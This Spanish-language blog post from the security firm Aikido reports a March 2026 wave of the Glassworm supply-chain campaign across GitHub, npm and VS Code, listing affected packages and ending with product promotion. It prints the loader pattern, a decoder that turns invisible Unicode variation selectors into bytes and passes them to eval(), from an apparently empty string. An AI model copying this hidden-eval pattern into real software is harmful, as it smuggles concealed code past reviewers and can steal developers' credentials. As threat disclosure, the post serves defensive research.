Aikido

Glassworm está de vuelta: una nueva ola de ataques Unicode invisibles afecta a cientos de repositorios

Escrito por
Ilyas Makari

La amenaza invisible que hemos estado rastreando durante casi un año ha regresado. Mientras que la campaña PolinRider ha sido noticia por comprometer cientos de repositorios de GitHub, estamos viendo por separado una nueva ola de actividad de Glassworm que afecta a GitHub, npm y VS Code.

En octubre del año pasado, escribimos sobre cómo se estaban utilizando caracteres Unicode ocultos para comprometer repositorios de GitHub, rastreando la técnica hasta un actor de amenazas llamado Glassworm. Este mes, el mismo actor ha regresado, y entre los repositorios afectados se encuentran algunos nombres notables: un repositorio de Wasmer, Reworm y opencode-bench de anomalyco, la organización detrás de OpenCode y SST.

Un año de la campaña de código invisible

  • Marzo de 2025: Aikido descubre por primera vez paquetes npm maliciosos ocultando cargas útiles mediante caracteres Unicode PUA.
  • Mayo de 2025: Publicamos un blog detallando los riesgos del Unicode invisible y cómo puede ser abusado en ataques a la cadena de suministro.
  • 17 de octubre de 2025: Descubrimos extensiones comprometidas en Open VSX utilizando la misma técnica.
  • 31 de octubre de 2025: Descubrimos que los atacantes han cambiado su objetivo a los repositorios de GitHub.
  • Marzo de 2026: Surge una nueva oleada masiva: cientos de repositorios de GitHub comprometidos, con npm y VS Code también afectados.

Un repaso rápido

Antes de profundizar en la magnitud de esta nueva oleada, recordemos cómo funciona este ataque. Incluso después de meses de cobertura, sigue pillando desprevenidos a desarrolladores y herramientas.

El truco se basa en caracteres Unicode invisibles: fragmentos de código que se muestran como nada en prácticamente todos los editores, terminales e interfaces de revisión de código. Los atacantes utilizan estos caracteres invisibles para codificar una carga útil directamente dentro de lo que parece ser una cadena vacía. Cuando el runtime de JavaScript lo encuentra, un pequeño decodificador extrae los bytes reales y los pasa a eval().

Así es como se ve la inyección. Recuerda, el aparente espacio en los backticks vacíos de abajo no está vacío en absoluto:

const s = v => [...v].map(w => (
  w = w.codePointAt(0),
  w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
  w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);


eval(Buffer.from(s(``)).toString('utf-8'));

La cadena de backticks pasada a s() parece vacía en cualquier visor, pero está llena de caracteres invisibles que, una vez decodificados, producen una carga útil maliciosa completa. En incidentes anteriores, esa carga útil decodificada recuperó y ejecutó un script de segunda etapa utilizando Solana como canal de entrega, capaz de robar tokens, credenciales y secretos.

La magnitud de la oleada de marzo de 2026

Estamos observando una campaña masiva del actor de amenazas Glassworm que se extiende por los repositorios de código abierto. Una búsqueda de código en GitHub del patrón del decodificador actualmente devuelve al menos 151 repositorios coincidentes, y ese número subestima el verdadero alcance, ya que muchos repositorios afectados ya han sido eliminados en el momento de escribir este artículo. Los compromisos de GitHub parecen haber ocurrido entre el 3 y el 9 de marzo.

La campaña también se ha expandido más allá de GitHub. Ahora estamos viendo la misma técnica desplegada en npm y en el marketplace de VS Code, lo que sugiere que Glassworm está llevando a cabo una ofensiva coordinada y multi-ecosistema. Esto es consistente con el patrón histórico del grupo de pivotar entre registros.

  • @aifabrix/miso-client (npm)
    • Versión: 4.7.2
    • Fecha: 12 de marzo de 2026
  • @iflow-mcp/watercrawl-watercrawl-mcp (npm)
    • Versiones: 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4
    • Fecha: 12 de marzo de 2026
  • quartz.quartz-markdown-editor (VS Code)
    • Versión: 0.3.0
    • Fecha: 12 de marzo de 2026

Repositorios comprometidos notables en GitHub

Entre los repositorios que identificamos, varios pertenecen a proyectos conocidos con un número significativo de estrellas, lo que los convierte en objetivos de alto valor para el impacto en la cadena de suministro descendente:

Commits que encajan perfectamente

Como señalamos en nuestro artículo de octubre, las inyecciones maliciosas no llegan en commits obviamente sospechosos. Los cambios circundantes son realistas: ajustes en la documentación, actualizaciones de versión, pequeñas refactorizaciones y correcciones de errores que son estilísticamente consistentes con cada proyecto objetivo. Este nivel de adaptación específica para cada proyecto podría explicarse por el uso de IA por parte de los atacantes o por la adaptación y el "force-push" de commits anteriores para pasar desapercibidos. A la escala que estamos viendo ahora, la creación manual de más de 151 cambios de código a medida en diferentes bases de código simplemente no es factible. 

Detección y Protección

Las amenazas invisibles requieren defensas activas. No se puede depender de la revisión visual del código o del linting estándar para detectar lo que no se ve. En Aikido, hemos integrado la detección de inyecciones invisibles de Unicode directamente en nuestra pipeline de escaneo de malware.

Si ya utiliza Aikido, estos paquetes serían marcados en su feed como un hallazgo crítico de 100/100.

¿Todavía no está en Aikido? Cree una cuenta gratuita y vincule sus repositorios. El plan gratuito incluye nuestra cobertura de detección de malware (no se requiere tarjeta de crédito).

Finalmente, una herramienta que puede detener el malware de la cadena de suministro en tiempo real a medida que aparece puede prevenir una infección grave. Esta es la idea detrás de Aikido Safe Chain, una herramienta gratuita y de código abierto que se integra con npm, npx, yarn, pnpm y pnpx y utiliza tanto IA como investigadores de malware humanos para detectar y bloquear los últimos riesgos de la cadena de suministro antes de que entren en su entorno.

{{cta}}

Compartir:

https://www.aikido.dev/blog/glassworm-returns-unicode-attack-github-npm-vscode

Empieza hoy, gratis.

Empieza gratis
Sin tarjeta

Suscríbase para recibir noticias sobre amenazas.

4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar
Escanee sus repositorios en busca de ataques invisibles de Unicode

Con la confianza de 100 000 equipos

Empiece gratis

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.